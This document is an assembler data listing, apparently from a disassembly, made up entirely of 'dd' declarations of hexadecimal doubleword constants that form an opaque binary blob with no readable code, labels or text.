		dd 8F60BD72h, 1655E008h, 0B86E5024h, 63E18805h,	960E1739h
		dd 2700D2F1h, 31A507E8h, 0BB2501ACh, 4910AF86h,	0B4233A1Dh
		dd 0F73FB109h, 16785BF4h, 0F5BBCAh, 19B92E2Eh, 57732391h
		dd 8444C258h, 1E493F5Ch, 9F003C72h, 0F5A3331Ch,	8C696Ah
		dd 3239FD3Eh, 0ACF4A082h, 228FBF02h, 299E9C57h,	423D3C04h
		dd 2F62843Ch, 78100A89h, 60165DD8h, 0F820D3DBh,	0F617DE6Bh
		dd 3E501EFh, 71BDC889h,	8CF030FFh, 2504B900h, 746BB67Bh
		dd 405CB609h, 0E9087FBh, 1C1E43Eh, 0AA556307h, 88914450h
		dd 0BBB90E97h, 40B473h,	51BEEE71h, 9060C2CAh, 676B137Fh
		dd 44042173h, 0A9C13A65h, 2FE83151h, 86D000E3h,	0CD1B48A2h
		dd 0BC0CA915h, 0A8CBFC8Fh, 0F411889Bh, 22242195h, 0D8C881C0h
		dd 36490043h, 0BB3C86C3h, 0D8E59446h, 95002C25h, 89AABEF2h
		dd 29A13598h, 98F383h, 789FEE0Eh, 7002A0B7h, 0D2DC2872h
		dd 0BBC92F12h, 0FCFD2C19h, 0C526BA9Ah, 6E2F4FBh, 0A263050Fh
		dd 9AE10078h, 1C6A13A3h, 4D98BEh, 8F43AC34h, 7D26992Bh
		dd 109CC8BAh, 0E1D4A640h, 0D21B5830h, 4AD6AB00h, 1E113223h
		dd 6712700h, 0CEA9D97Fh, 0D85F4A13h, 0C1026490h, 0F70E0263h
		dd 0B048E3FBh, 3CD294EAh, 47CB1837h, 9722813Ch,	0C189E36Bh
		dd 28B9EFF9h, 7864C2A4h, 40D454E0h, 0C4855849h,	0BC953600h
		dd 401E1DD0h, 759E0079h, 35919046h, 7312C44Dh, 0E020315Fh
		dd 5406247Dh, 7F50E4h, 6111FB35h, 89FE5D5Ah, 0B9187901h
		dd 91C0A9F3h, 202858EDh, 803E4576h, 0AF83E048h,	16FE4554h
		dd 31FA04B6h, 6291BEA4h, 0AA681780h, 4867648Ch,	0E12F68C8h
		dd 71A400A2h, 0F2A924E1h, 6A007466h, 0C2151F5Fh, 5CF01Ah
		dd 0A445DBC5h, 10D21618h, 20B372EEh, 2FE2D788h,	0C5530090h
		dd 0BB343C00h, 378317FFh, 0C0349A6Ch, 5DB92BC0h, 4E0919E3h
		dd 46A46202h, 0A3BC1E4Ch, 94310070h, 0FDA673B6h, 84482C27h
		dd 485810B0h, 1408B923h, 4571913h, 0C080E5AAh, 6772FC6Ch
		dd 94D25E00h, 0F4EE6D0h, 0B81B1265h, 0FFA001C2h, 30CC73CBh
		dd 0DB25B97Ch, 123044D7h, 5BBA9BFh, 1E9AD4h, 3A6A580Ch
		dd 825CCBABh, 0DC0B1633h, 0EEF57844h, 65200253h, 0E8447289h
		dd 0F103D0FEh, 0C7262833h, 5288A9D8h, 10ABECh, 2A0FFC6Dh
		dd 6359B0BFh, 18B9650Bh, 2782483h, 0DDA0484Fh, 0E3F49C4Ah
		dd 0F7540300h, 3A095E13h, 0A7B50E2Eh, 0FBE58BA1h, 55E04079h
		dd 0B920D892h, 8E081600h, 0AED96A9Ch, 0F8C3518Ch, 550E8833h
		dd 0BDA16C2Ah, 0ECC4A5D8h, 40002903h, 0C761C07Ch, 43BBA4h
		dd 0EE6BA9C5h, 13D98AD3h, 9B4E50B0h, 3B8730CCh,	29003EF3h
		dd 97B4FEA7h, 642C77A0h, 164E0B9h, 92E5F440h, 2F1CB391h
		dd 148E4925h, 0A62EC0BCh, 266FD58h, 3C273ACFh, 0E8665275h
		dd 9219243h, 6D11D026h,	0EC359407h, 8501F034h, 4C02BD07h
		dd 27EFB8D7h, 5B2360B7h, 0F8052718h, 0B2AAF025h, 10CD0060h
		dd 6C2FB22Ah, 7D4000B7h, 58D071DEh, 109FA5BFh, 0B61C8Ch
		dd 0C8469A57h, 564FA168h, 96F64DE4h, 0F7BB1503h, 861EAB52h
		dd 0D74831h, 986EFCF2h,	97193E20h, 0A3E7D490h, 0A7BF6300h
		dd 42068EBEh, 0FA10577h, 404105E1h, 6A49897Ch, 7C7F1EDAh
		dd 0BE6FAA00h, 72213127h, 0E4851D22h, 0E09A9251h, 0FB220474h
		dd 0D8DB25E3h, 2B000494h, 1BB0C973h, 36C27EBh, 7C060C15h
		dd 82AB85B2h, 3060598Ah, 16010ABCh, 0D4C7DEEDh,	60C2CEF4h
		dd 0B5D3DD48h, 7C02149Bh, 0DBCA7287h, 40A879BAh, 69C166FBh
		dd 80F5213Fh, 0A5405A12h, 2C5674FFh, 47014F9h, 9496F40Dh
		dd 69B0C25Ch, 0E4D912h,	6365F96Ah, 0C00EFF82h, 0A0666988h
		dd 627FB0CFh, 706F50F3h, 6BE70FDBh, 0D0403D47h,	37014D05h
		dd 761D9B0Fh, 35435E85h, 25A9B124h, 5445FBD0h, 9A9C9900h
		dd 4B372D6h, 0FB014521h, 61B04375h, 0A410FF9Eh,	14EBE4C6h
		dd 881C124Ah, 0EC80112Fh, 0DBBE7607h, 0F88D47Dh, 0C08500B3h
		dd 150866F7h, 10B656E9h
		dd 0F940FA9Fh, 0F2F6F17Fh, 4CED001Ch, 3B44A282h, 5F050157h
		dd 0A58B17BAh, 80818862h, 3258AFBBh, 5B413EF4h,	24BE7787h
		dd 471195Fh, 731D9082h,	0C18479ACh, 0C0E7A966h,	3C2C97D9h
		dd 4E698C90h, 0E5D32224h, 0D2B0D45Ch, 7E06FC00h, 5C1B29DEh
		dd 0A8593CFEh, 91D7CC58h, 0F26EC058h, 0D101A066h, 207A6FF5h
		dd 0DADCD3CCh, 0F0261FB3h, 0C6890072h, 0DE0235Fh, 0C09C4948h
		dd 0ADFFB550h, 452D006Fh, 29089C33h, 989C65CDh,	0BBF6E360h
		dd 76230189h, 8F9A2CEDh, 0F8A5C49Ch, 0F3335400h, 0FBF26458h
		dd 1078A116h, 0B1E02030h, 0BDDB0980h, 0DE100C51h, 67EBC0C1h
		dd 3B5C31A6h, 0A8BC7C4Eh, 6F6D833Dh, 0DFF02A08h, 95007E5Bh
		dd 87747693h, 93AA3E99h, 0A45716B4h, 0B418C3D4h, 763219F8h
		dd 47715FBFh, 0C07391C4h, 0F01524E6h, 0A9D3F81Fh, 181AC80Bh
		dd 73FCA10Ch, 10B200AEh, 8A0E3034h, 0F00E3A5h, 0D1A8B6C1h
		dd 4F9757DEh, 88E4DCE7h, 3BCD6F00h, 38BF48BAh, 71E801F6h
		dd 0D36E1EEAh, 98AEDCB2h, 171170BEh, 0A5C4204Eh, 0C90B784Eh
		dd 0B0A7B193h, 4D98158h, 3CAB4BFCh, 3E388999h, 57001BC5h
		dd 0BF60C00Ch, 58474890h, 8C6D527h, 1B81D58h, 218F4BF0h
		dd 70348304h, 508CBCDCh, 0ACF43C2Bh, 1948AB00h,	4B3341D0h
		dd 0FA7500BCh, 150C8D54h, 8A3A5268h, 0BA73000Fh, 3C8C64EDh
		dd 4498B49Eh, 44FB3208h, 0A3E300B4h, 18D8CFF7h,	190CD06Bh
		dd 30566DA5h, 73C8176Eh, 0EC1CC953h, 0EF052CDEh, 20E1ECBAh
		dd 73006CA9h, 0CE08D6DAh, 560038C5h, 23697A14h,	0B09D395h
		dd 0B043862Fh, 0AB24C070h, 55131722h, 886D108Ch, 4900A5DDh
		dd 380385DCh, 5BFA9AAh,	48E0A66Eh, 66EB03F5h, 95C16C11h
		dd 974D00Dh, 5414B7h, 49012BB0h, 148FC1E1h, 90366C2Dh
		dd 9B1D80h, 0EC380CA1h,	5F0CB52h, 15AC6202h, 64729349h
		dd 0D7761C94h, 3CCCC713h, 0FA305061h, 0CCA2C8DBh, 54B99080h
		dd 0F2009528h, 34C2BCB7h, 538FBF88h, 870FB01Dh,	19215D16h
		dd 0C54FB526h, 327ED068h, 911A5404h, 90B88320h,	0AB255380h
		dd 0F102EBB7h, 615FD65Ah, 4BEDC018h, 2F1DE604h,	106C5211h
		dd 0CE22A409h, 72387255h, 0EC560757h, 0B08409FCh, 65BBAA68h
		dd 7098985Bh, 63951814h, 5475115Ch, 90CA465Eh, 71E69703h
		dd 0E8D85D6Ch, 2975A885h, 3DE5C12h, 1C9978C4h, 4FDC8020h
		dd 29C428CEh, 0B8A4AE00h, 0EC70B507h, 0DD10091h, 752BC3CDh
		dd 8F487B0Eh, 828A058Ch, 40E429C0h, 4558CABCh, 136C0FACh
		dd 6CE68209h, 3EA1F500h, 6D0992DFh, 0D46400BAh,	5B73B06h
		dd 0BC031147h, 0E004EB0Fh, 81A90BAEh, 0D006F550h, 0D13F151h
		dd 2002CB99h, 5C8B7591h, 0B808C0E0h, 7605374Dh,	0F4F94E5Eh
		dd 0FE2F01Dh, 0C881988Ah, 183CC640h, 6C255255h,	3CE4FFh
		dd 75D6C968h, 2C179AF2h, 8ED8A53Dh, 561E8270h, 0E90598C1h
		dd 0CE3C223Ah, 0F408E319h, 6AB5C01Dh, 74FD1081h, 0D6D67957h
		dd 4F42C144h, 0B5BFF0CDh, 56057801h, 0E8D8281Bh, 2DD4DCD4h
		dd 8CCC691Ch, 0EDF42E00h, 61CE8D85h, 8090027Dh,	30518BA5h
		dd 895AA860h, 54C43197h, 634CAFCh, 933A6369h, 3D4060E6h
		dd 755E4452h, 4D5C8Ah, 0F947D31h, 2F64C552h, 0A21F4830h
		dd 7F186B00h, 0E71D55AFh, 0C20F06B9h, 297E1009h, 0EA8E44h
		dd 6C2973DBh, 31E7F552h, 84C29B4Ah, 29D6251h, 295365F4h
		dd 0EC0BB029h, 270024E5h, 5F1E3F31h, 0ABD50315h, 0FB7E9142h
		dd 0A5A21380h, 28431096h, 2F08E029h, 3F0741Ah, 0DC0709AAh
		dd 7022A97Fh, 5B3CF8ADh, 61D08B9Ch, 0FA684DA0h,	472E5868h
		dd 90C1002Ch, 29C47505h, 27DF7302h, 87676410h, 57C12DF0h
		dd 3C001250h, 0B9C28691h, 466EA4BCh, 0DC5C0080h, 0E3E1E92Dh
		dd 0D0E81649h, 84374C01h, 7E04FEEAh, 5CD53460h,	0B7586C61h
		dd 67326C59h, 0B0879919h, 7C38CB1Dh, 9B009DAEh,	97076587h
		dd 75F2AA8Bh, 444F503Ch, 5ED64EDBh, 959A468h, 0C8914B6h
		dd 94F684CEh, 7CAFF80Eh, 7F5E96Ah, 34E06664h, 9E557564h
		dd 8BB982C8h, 0DC54474Dh, 81D67F09h, 13E457A4h,	0E0E84065h
		dd 90214AECh, 45BBD44h,	0D83B97FEh, 0A9390B92h,	20081071h
		dd 48C400F8h, 76FE0E6h,	2092EFBAh, 919F84B0h, 6308D418h
		dd 8C203C92h, 80697C1Ch, 0D751DD04h, 1406D518h,	9DA4E8h
		dd 694B3D20h, 0AA14973Fh, 808071BEh, 0B906567Eh, 0B352270Ch
		dd 41636C84h, 0AE222627h, 5330003Bh, 0EEB9DFF8h, 6F4E647Fh
		dd 77254000h, 1925266h,	0D1F4BC0Fh, 0DADBC19Dh,	704C7474h
		dd 492D8846h, 2EAA5600h, 86F696D2h, 0E85F00B7h,	0BB92DA26h
		dd 0EB13911Bh, 3008568Eh, 2F3CA41Dh, 0CB8FD018h, 0DA78560Fh
		dd 1012004Eh, 3C4A2C57h, 0C45F89AAh, 29C0E488h,	79F0A03h
		dd 0E0A1ACAEh, 3008E072h, 0CC080A4h, 3A53AAABh,	3D260FDCh
		dd 63D02057h, 14A4D6FEh, 0C4BBDC84h, 0D2DBC4C0h, 249F5F94h
		dd 0A657D38Ch, 0C0E01230h, 131114B4h, 0B35673C5h, 0AF72168h
		dd 624C6B99h, 8464F3B8h, 0BB3C3F01h, 565E4187h,	5CCFDEC4h
		dd 2040DC8Eh, 0D8E501A1h, 1B4C41BDh, 0AD484056h, 53006C54h
		dd 3BF8189Eh, 4E843CA3h, 0BCF8257Eh, 6D24A018h,	0D7052C54h
		dd 71823F47h, 0AD1EBCEAh, 1D0F7468h, 13119613h,	9F71ECC8h
		dd 0F602F0A0h, 7D13BD94h, 548328B4h, 0C41EA232h, 416364BCh
		dd 0C830520Ch, 1792853h, 33C6A024h, 6699DDADh, 34884EB8h
		dd 7A5E07C9h, 30A9EAE6h, 5BBF7378h, 17E04D5Ch, 7CD0DE05h
		dd 2714FB09h, 5FF027C9h, 3CC8EB5Ah, 16D790Bh, 378C6401h
		dd 0EC302F10h, 770469FFh, 3118B51Ch, 2098B482h,	0EECC746Bh
		dd 0D3E1043Dh, 21322F8h, 572D9072h, 0BC49989Eh,	0FF6AE468h
		dd 8A08631Ch, 1E91E8E4h, 0AD690F00h, 0ABF76411h, 3024554Eh
		dd 0AC6FA0h, 0DDB7BD3Dh, 0A9FF98A1h, 8D045AE6h,	4413E963h
		dd 7DC0D4C0h, 4E71E8BBh, 21E840D7h, 0B0BADC1Fh,	102560B1h
		dd 0D35138h, 1AF07CA0h,	0F59F1B43h, 31A34C00h, 4A1115A5h
		dd 40509C71h, 45CAEEDBh, 0FDE02B50h, 88FC6858h,	478E9789h
		dd 8ABDDC8Ch, 0B204C494h, 0A1700790h, 17026A0h,	1C1FD524h
		dd 80104E86h, 0EB98B945h, 8C5825DEh, 8AB584ECh,	0CE280012h
		dd 790F10Fh, 280544B2h,	0C1DBB96Ch, 10CABC20h, 52E70194h
		dd 0E8D9A9C7h, 6AB442CBh, 0FBE0902Bh, 543B00B7h, 7C15D90Eh
		dd 890099E6h, 0B82AF3F9h, 31B7076Ah, 439591Eh, 6AB465DFh
		dd 0ACF87035h, 3F5D8Eh,	840D04B8h, 1507B3CEh, 1C727794h
		dd 650B5642h, 45C002C4h, 0C88034B2h, 13E13D07h,	1C921009h
		dd 541C09D6h, 371150ACh, 2283BB00h, 0AB1B165Bh,	6C7D003Dh
		dd 5677557Ah, 3C9953EEh, 13148049h, 274044Fh, 65B5BB82h
		dd 0E8C2380Bh, 6929851h, 850414E2h, 0E0DC58D9h,	72581E00h
		dd 167807Ch, 0F590C4C7h, 0A9565420h, 0BA2027F0h, 0F1EE648Fh
		dd 0AF6B2053h, 27E70CF4h, 0AA51A103h, 531DC07Fh, 90ED1908h
		dd 2F6D94h, 4CCDBAA8h, 0EB2E2862h, 0A646E02h, 0F65EA51Eh
		dd 0C081E5B8h, 0C95AAA58h, 996170B8h, 8C0D8219h, 0D59E3C00h
		dd 78988A4Bh, 33EE41h, 0E4E8CACBh, 0AEBEBC9Dh, 0C238D101h
		dd 8F83C19Fh, 0E20CEC60h, 20EC487Ch, 0E03DA051h, 3D6D2780h
		dd 420016D7h, 0FF33E810h, 58567632h, 1CCBC045h,	3C3B78C6h
		dd 60805554h, 0B84BD4Ch, 7E1D2504h, 0F0B1200Dh,	0FA12B6ACh
		dd 0F498898Dh, 976D00BBh
		dd 427573F9h, 6F0931DDh, 704EDE86h, 0BADB129Ch,	0D2F82CB5h
		dd 0FCA05300h, 274BE30Dh, 90D60082h, 0EA1F1C81h, 70601B54h
		dd 1A2F78F8h, 0B99A3EBFh, 13B0884Bh, 0BC3F5F01h, 0BECDB6C5h
		dd 9E1FF824h, 58A308A4h, 1ED5D831h, 2B7BB017h, 9A9DBF4Eh
		dd 1300546Ch, 0A5F4C20Fh, 1CA2AA25h, 0B2FEFB04h, 279C0DDh
		dd 3D005E50h, 0CE403EC5h, 58B07C3h, 99305869h, 5BA80B1Dh
		dd 0A4DD0818h, 0C0F5EEEh, 83B35385h, 0C87B4B5Fh, 0E6F2A7E3h
		dd 0FA04264Eh, 0BBAA40DCh, 213DE116h, 44CEA7B9h, 3C4144DCh
		dd 20A89D55h, 7F00A944h, 0B681E06Bh, 168F3A98h,	0A2DE0482h
		dd 0F1BA81BCh, 0DD4AF71h, 30825A63h, 11AE6438h,	8F34BA02h
		dd 0E246EE0Eh, 44B0D62Ch, 34D2CE3h, 0AF0DD82Bh,	8FA818BDh
		dd 0A400C3F1h, 394AA546h, 2431E8FDh, 3594877Ah,	0DFECBD90h
		dd 0E2C9E91Bh, 5F44C157h, 5BE1D841h, 920C0F00h,	8404A09Eh
		dd 19819D16h, 223F983Ch, 4C7E7028h, 8B0FD47h, 41944F4h
		dd 0BCD44C1Fh, 75BC81C2h, 0A8302A0Bh, 0E8E99810h, 10136EE0h
		dd 94C0AB07h, 885884B1h, 0BE7874E0h, 5DDDDE13h,	0B60018B2h
		dd 0E5B5E669h, 800B43Fh, 674AECE1h, 1DA2331h, 12AFE17h
		dd 82841E83h, 9174EA49h, 29408054h, 1924ADC9h, 0F807BF6Eh
		dd 5F70015Eh, 0AE803439h, 32900DF1h, 4C214F07h,	0D32956B5h
		dd 0A3AF02A4h, 0B8F95161h, 0A5727F00h, 1CFE1A84h, 0C0FDD257h
		dd 0B0C5D6E6h, 3505C31Dh, 38AFC442h, 0EC270A8h,	2CE0277Fh
		dd 6F4CC1EBh, 18122CC4h, 70530F00h, 8A78913Ch, 0F141E05Ch
		dd 807ABA64h, 0ED56F644h, 288119C0h, 2C90BC38h,	4674FB37h
		dd 8A0054B8h, 75A01796h, 13B690Dh, 0CFDDDC93h, 2077CD0Eh
		dd 86261D64h, 5E16E870h, 0FC4360B2h, 0B679E100h, 0CDB9BECAh
		dd 6B808499h, 7186625Ah, 0EC173C5Ch, 169FD80h, 4B9ACBFh
		dd 0D910F85Ch, 0C2106350h, 0ED01FE09h, 0EE6CA9F9h, 407F7236h
		dd 0AF04F0ECh, 187C373Ch, 49004CF4h, 3FAD6639h,	20E1A93h
		dd 3C0F5CB8h, 7522797Fh, 5198DC90h, 8BCC69A9h, 50AC8A51h
		dd 0F5309327h, 5A8068ACh, 3F2CB5FDh, 11CDDD00h,	0AC271724h
		dd 7EE12F52h, 0AB53CC18h, 676570B4h, 9A8948Ch, 453ABD5Dh
		dd 0FE9CCCDBh, 2DDE42A2h, 20AC108Eh, 6D2407F4h,	63E5665Fh
		dd 0A0F09452h, 42002C06h, 0A20E848h, 0B776DEC0h, 40494CAEh
		dd 8000B4C4h, 0C3870A47h, 0F9B1EF3h, 905D551Ah,	300E7E80h
		dd 4B5AA8Bh, 16538674h,	0E1B0C870h, 0B6822984h,	370581F4h
		dd 814680C1h, 9781892Ch, 82EDA3AEh, 303F5D71h, 0CDD44AC8h
		dd 0C45D7800h, 0B7A98C0Eh, 88A54EA6h, 9300B33Ch, 0FC8F6E13h
		dd 16FB5BEh, 0F4CE6580h, 0D4E79F04h, 50B95573h,	83589A80h
		dd 53644FD8h, 860798ABh, 788EB2h, 6B901AA2h, 0DE43BE0Fh
		dd 0E052404Ah, 0BE689BC0h, 0CC531284h, 0B84E1B8h, 67725ABAh
		dd 0CF09B4EEh, 56620D16h, 0BD2340C4h, 0C41E11EBh, 0A040D43Fh
		dd 0FD1F58C2h, 0B4F24CFEh, 0E2081B21h, 0F6B8A088h, 0B1827CA3h
		dd 92609028h, 7472E305h, 67E08CF8h, 8BBF9514h, 54FB2Ch
		dd 0AC129E46h, 4B7C68C0h, 9DEDD444h, 45A72C00h,	0E49EC237h
		dd 0A856740Ah, 0C0B82FC5h, 4057CD10h, 0F43CBC38h, 0BBFBAC0h
		dd 0A7EBE8D6h, 28188BA4h, 2980907Ch, 80E8FD3Fh,	601D24EDh
		dd 9D030FD2h, 5A7E2FCEh, 0E58BC03Dh, 0BF9616C7h, 4708D10Ah
		dd 0DBE9BF1Eh, 875F9CC8h, 0A41F9C17h, 18FA5022h, 99630081h
		dd 0F5361101h, 8CF0A9D5h, 7C17CB00h, 0F37D77E8h, 51940019h
		dd 40973C72h, 18BD58D7h, 1462E50h, 0B69B1A38h, 301EA11Ch
		dd 4B0967F3h, 46F60610h, 40E82D88h, 80DC1C88h, 8C71116Bh
		dd 0A006FC9h, 0FA425117h, 9E9F7249h, 73C741ECh,	598C36Ch
		dd 342143D5h, 0D8E108F9h, 80F2AA92h, 0C5561500h, 0BDE09DFFh
		dd 5109B4A0h, 98A034B4h, 0A7577509h, 0EBF85E17h, 0E903F418h
		dd 1F82C00h, 465EE15Ah,	70840099h, 0C9BCF03Bh, 91055337h
		dd 1D49E8E3h, 0EC0E0FCh, 4871BED5h, 3E26C088h, 4280022Bh
		dd 0C41F4DCAh, 54002FB1h, 0CF968E5Dh, 97AA935Ah, 0AB9FC410h
		dd 753AC8FCh, 1C478234h, 80178D2Ah, 975729C4h, 68D6405Eh
		dd 0F24810E4h, 11121008h, 0B1C02C58h, 44B50FDh,	77900F02h
		dd 40F56AD2h, 0C427BC48h, 0A6884A48h, 8B3504ECh, 87C0AA03h
		dd 5527Dh, 6A72C639h, 0F80E5DD5h, 498C210Bh, 1CE67Bh, 0BDFE9293h
		dd 2C2A1347h, 21140612h, 0D1606097h, 27E1BF10h,	2810AA78h
		dd 709C6956h, 5481549Ah, 903105B0h, 68A0B5EEh, 8E388054h
		dd 5162871h, 498BA0B1h,	0CE784083h, 4E9C22F3h, 303BE402h
		dd 46547552h, 519512D8h, 0D96405C3h, 0CF6CB489h, 0FFC008B6h
		dd 0B6A9FC3Ch, 5DC742A4h, 528090Bh, 0B8052626h,	2C161286h
		dd 2C9D9893h, 60C46859h, 1004E7A2h, 0E1230700h,	4ED0A846h
		dd 76602D31h, 0C40137FEh, 0EE983F4Dh, 0CBD0882Bh, 5E02B300h
		dd 0ECDE2691h, 9AC21CBCh, 656ACE9Eh, 6C44092Bh,	48915406h
		dd 13C01CA5h, 8025EC24h, 46728A3Ch, 0E5C48689h,	55CC07B4h
		dd 602EA442h, 0A7F42848h, 53BE2B00h, 0B9833D8Bh, 0B71F0292h
		dd 0C75D1B19h, 6CBDC841h, 5A542094h, 0C8CA3Fh, 8386427h
		dd 9132A10h, 57DA9A78h,	0F7049CA2h, 86E5A456h, 0C0AE4E0h
		dd 70E00519h, 0C15EDB21h, 85E9E4C8h, 0FA6DE080h, 2C6EEB1h
		dd 3EF285C3h, 2CD6AAF3h, 80B6AC60h, 0B7510318h,	4BA1EC05h
		dd 0BADADFB8h, 0DEA9C302h, 53732D24h, 102470h, 0BDCF5F17h
		dd 162F0EA5h, 8130C8EEh, 8044916Ah, 0CAF9BC07h,	0D54AF6F2h
		dd 0BE856C30h, 0DC6A15DEh, 0DF2164D6h, 0A3EAD760h, 17920072h
		dd 0D0DA6CD4h, 0E497AA43h, 0CBD70120h, 0B22804D2h, 1391C0BDh
		dd 18B50101h, 0F8A083Eh, 9B173C2Ch, 0D8E89862h,	18EB5300h
		dd 98411934h, 0C0CE5B26h, 48985C0h, 0C4E0F82Dh,	0B0FF5CD4h
		dd 0F534CC5Fh, 64679300h, 0A7B8D630h, 27FD016Ch, 0B5F87A16h
		dd 0C8FC7898h, 92228057h, 96EC1EB9h, 7ACFF200h,	762BDE5Ah
		dd 425401C6h, 0C5BF1B4Ch, 0D4EC4255h, 0D1C0DB22h, 0AC71EF8h
		dd 459CB3D2h, 0A0D0ACF6h, 69B06Fh, 996D05E6h, 33D7535h
		dd 0BF6EF30Bh, 7910CCDFh, 1641C755h, 5B8AC05Fh,	171E7844h
		dd 5100C615h, 0F96CD390h, 674E5AE3h, 32CF87C4h,	981AD9DCh
		dd 9D32D0h, 196D0357h, 717B7F3Ah, 0D274A703h, 0A8F6992Bh
		dd 1773C3B6h, 0F61ECE5Ch, 6AAF0090h, 7A52C2EAh,	0CD8400DFh
		dd 0B0F03F91h, 0C50294F3h, 0AD9BD458h, 0C91DC199h, 2040B452h
		dd 0D1347380h, 4D49E005h, 0B0ECD86Ch, 6FAB7087h, 214CA212h
		dd 47988056h, 55ACBEAAh, 0DA269CB1h, 90D76B00h,	0FC5F4F42h
		dd 1839009Ah, 52E7E9C5h, 33099D17h, 984993F7h, 98EF8h
		dd 0FFB3B68Bh, 74C07E4Bh, 600FB925h, 24BF61E0h,	60C889A9h
		dd 686F9A0Dh, 0FE005DF6h, 0E4E9A251h, 2F9B5363h, 0D41970D7h
		dd 0EE944821h, 86B36200h, 938D55EDh, 8BEA00FCh,	3AFEBC34h
		dd 47E84AA4h, 88985A02h, 577F573Bh, 5D001C14h, 1F8F739Fh
		dd 754A8BBh, 2F0E460Ch,	0D1DCF035h, 1B43B3D6h, 9E8F4E07h
		dd 6044B07Eh, 7001137Bh, 41ABF763h, 54D4106Bh, 0CCA600E6h
		dd 0FC097CC5h, 1C48FAB6h, 0BC984B54h, 0A35E0B0Eh, 0F4595382h
		dd 0BD8B7408h, 72B9887Ch, 81445632h, 0CC5182h, 0C3DB1DCFh
		dd 7001760h, 46857599h,	0B16334h, 762C1A42h, 66D8145Ch
		dd 1094BDh
		dd 0BCC7CA2Dh, 20B98511h, 7F7D5701h, 4755A037h,	0E1F067DDh
		dd 0C5394FC0h, 7D8E2E4h, 2B982EBCh, 0B16C401Fh,	1207B590h
		dd 1DEEF3D3h, 52678094h, 78E06B64h, 1F805CB9h, 0D86E7A19h
		dd 23B1314h, 10390293h,	2042F66Ch, 180BF461h, 0D8AA092Eh
		dd 648268EBh, 6B055EC4h, 0E82BC830h, 0F9920064h, 5ABCD50Dh
		dd 1D580FB6h, 2852CA80h, 2C9A12h, 6BEF1CFCh, 39064042h
		dd 66957C5Ah, 4D158700h, 0AAE2AC24h, 0E0572205h, 10E3C090h
		dd 3B46A5Ah, 0F53421D9h, 0B1869FCBh, 109C5D4Ch,	0EA006976h
		dd 15110DE8h, 0F04D5775h, 44324E68h, 6851BCh, 0C2209259h
		dd 500547Ah, 0BCB9A3FFh, 2C73018Fh, 42840B16h, 707C68D5h
		dd 5DB051E0h, 4B3D0CADh, 7E211F21h, 0EE5A461Dh,	0D871BF0Fh
		dd 72E1D969h, 69B60331h, 39AAB3CFh, 92895FF0h, 32C14500h
		dd 0B6A0BD96h, 0D6542590h, 4B009046h, 0BEA55A0Eh, 2D0CF0h
		dd 0A29B8324h, 6BCE9FD0h, 2B045D02h, 809C5673h,	4D19D858h
		dd 7ECF03C8h, 27D205D1h, 0AC1E1107h, 48BB6Fh, 804A15EBh
		dd 0BD004730h, 0E7E31921h, 0E040DCh, 99885FB6h,	1FF89A46h
		dd 0CCE628A0h, 9E2F3Eh,	6B7D62DBh, 1DF0FEh, 7E34800Fh
		dd 5D070D9h, 70C96530h,	1CF3DCE0h, 0C6E72DBDh, 18884402h
		dd 0D2E84D06h, 7995029h, 5C6FA416h, 7E6CF09Bh, 0D27AD658h
		dd 6A215261h, 0B980D447h, 9EE5F3A7h, 62008C1Ah,	249F2E13h
		dd 602DF6h, 0A434B9DCh,	0D4A08551h, 0D7936418h,	6192D239h
		dd 0E7AD514Fh, 1ED9BD5Ch, 99F0D010h, 40A75019h,	0D1280F4Ch
		dd 340658C6h, 0D36F131Ch, 1A7D0051h, 7FBBFD3Dh,	903B1F3Eh
		dd 4E6C80B6h, 9CC3505Fh, 0E29CA826h, 64AE007Ch,	7E032BF0h
		dd 46504E6Eh, 0A62AD560h, 6A149869h, 3A58CD9Ch,	0CA54491h
		dd 6AFFA0E8h, 0EA07D129h, 783D30A9h, 0D0B308C0h, 9BD70053h
		dd 23A42DEDh, 0A65C34DFh, 102E03EDh, 0C3D2591Ah, 44510C66h
		dd 0BF68CE13h, 0A9C13C00h, 0E77DD2AEh, 22D306D1h, 20D02744h
		dd 4F9AC005h, 0C0209D6Ah, 611C4A3h, 3E9F2FE8h, 267870ABh
		dd 0B10BB730h, 0E004D13Fh, 0E6C90730h, 40F3275Fh, 76379E61h
		dd 65367102h, 440634E0h, 0C1B90700h, 47F20E54h,	1967C687h
		dd 2FAF2400h, 9F42D03Ch, 4A172A68h, 0CECC01B0h,	0BA95C29Ch
		dd 8AD21A8h, 8F31D2CCh,	9A6A4153h, 0B0CCE057h, 0A3DA0A22h
		dd 60E4A47Eh, 61DF485Fh, 43A8DE00h, 0C557867Fh,	868E616h
		dd 10501A64h, 4C0594h, 4121E16Bh, 7755C82h, 3C49D05Dh
		dd 9CC41068h, 31DF4CA3h, 0BA00D86Ah, 0C55C1C45h, 1906E1h
		dd 6EF751B6h, 0E0D3A0E2h, 9C09880Ch, 2C639AAh, 867AF198h
		dd 0D4A01847h, 0EBA0B039h, 75036CF0h, 0B8F155D4h, 7B23F0A4h
		dd 594D0241h, 0CA6F4F69h, 5349E320h, 0D5C42ECDh, 45742A6Ah
		dd 0E8A00095h, 8F04463Fh, 0D4FE551Dh, 0C424EF40h, 0B00018A9h
		dd 1008548Dh, 0F43F23BCh, 492800BAh, 7297D47Eh,	0C400BF1Ah
		dd 0A8A6C015h, 0C83418h, 257382A2h, 462B1F0Eh, 3191D3Eh
		dd 0D31549C4h, 1698A0CCh, 0B546C1C5h, 0D0509BEEh, 0DE3BB003h
		dd 190CFC95h, 3922DDF7h, 0F31D00A6h, 6035097Ah,	5126FB01h
		dd 1002A00Dh, 8020432Bh, 2CF7E30h, 2D795809h, 285DA105h
		dd 961000DDh, 93FD9D8Fh, 0E43BB607h, 0E84CA7C1h, 0F13C60EFh
		dd 926C9729h, 0A06FCC28h, 0D0D3BF03h, 60382B78h, 97A54820h
		dd 6401281Ch, 0FD6677DDh, 780133E5h, 0AE20DCB5h, 4F91101Ch
		dd 496EF480h, 6BDD0231h, 8F00890Ch, 0B18286E6h,	7A388D00h
		dd 47934607h, 10D5007Ch, 0BC54D939h, 9B00C0AFh,	1BF72963h
		dd 0C0EF5B9Eh, 41F118B1h, 0D500FBA0h, 6BEB95B3h, 18D82B66h
		dd 6915DD35h, 0BC003FC5h, 558D5BDh, 707F24Bh, 8FD9013Eh
		dd 9917C182h, 2B518643h, 3FE1AA3Dh, 83827749h, 0ABB51614h
		dd 1764ECA1h, 1D404196h, 19BDB6h, 6651B502h, 1C608475h
		dd 807057D1h, 0BF06236Ch, 77024E98h, 1196BB0Ch,	0A894A834h
		dd 2900A811h, 49669CCCh, 0BB1BFBE0h, 0C029179Eh, 30B064F5h
